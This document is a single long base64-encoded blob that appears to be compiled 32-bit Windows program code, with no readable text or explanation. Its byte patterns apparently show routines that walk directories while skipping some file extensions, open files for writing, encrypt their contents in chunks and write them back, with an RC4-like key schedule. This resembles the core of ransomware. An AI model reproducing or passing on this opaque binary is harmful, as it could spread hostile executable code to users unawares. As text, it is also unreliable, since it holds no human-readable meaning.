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AAAABRaASnQABRjY0o////6DMJAABRaAynQABRjY0w////x0X8AAAAAOgaCQAAUWgUp0AAUY2NOP///8ZF/AHoBAkAAFFoHKdAAFGNjUD////GRfwC6O4IAABRaCSnQABRjY1I////xkX8A+jYCAAAUWgsp0AAUY2NUP///8ZF/ATowggAAFFoNKdAAFGNjVj////GRfwF6KwIAABRaDynQABRjY1g////xkX8BuiWCAAAUWhEp0AAUY2NaP///8ZF/AfogAgAAFFoTKdAAFGNjXD////GRfwI6GoIAABRaFSnQABRjY14////xkX8CehUCAAAUWhcp0AAUcZF/AqNTYDoQQgAAFFoZKdAAFGNTYjGRfwL6C4IAABRaGynQABRjU2QxkX8DOgbCAAAUWh0p0AAUY1NmMZF/A3oCAgAAFFofKdAAFGNTaDGRfwO6PUHAABRaISnQABRjU2oxkX8D+jiBwAAUWiMp0AAUY1NsMZF/BDozwcAAFFolKdAAFGNTbjGRfwR6LwHAABRaJynQABRjU3AxkX8EuipBwAAUWikp0AAUY1NyMZF/BPolgcAAFForKdAAFGNTdDGRfwU6IMHAABRaLSnQABRjU3YxkX8FehwBwAAxkX8FlFovKdAAFGNTeDoXQcAAFFoxKdAAFGNTejGRfwX6EoHAABRaMynQABRjY0g////xkX8GOg0BwAAxkX8GYO9LP///wAPhBAHAADomhgAAIuNLP///zvID4T2BgAAagBR/7Uo////6IQYAACDxAyFwA+F1gYAAA9XwGYPE4Uo////OYU0////D4TNBgAA6FcYAACLjTT///87yA+EswYAAGoAUf+1MP///+hBGAAAg8QMhcAPhZMGAAAPV8BmDxOFMP///zmFPP///w+EigYAAOgUGAAAi408////O8gPhHAGAABqAFH/tTj////o/hcAAIPEDIXAD4VQBgAAD1fAZg8ThTj///85hUT///8PhEcGAADo0RcAAIuNRP///zvID4QtBgAAagBR/7VA////6LsXAACDxAyFwA+FDQYAAA9XwGYPE4VA////OYVM////D4QEBgAA6I4XAACLjUz///87yA+E6gUAAGoAUf+1SP///+h4FwAAg8QMhcAPhcoFAAAPV8BmDxOFSP///zmFVP///w+EwQUAAOhLFwAAi41U////O8gPhK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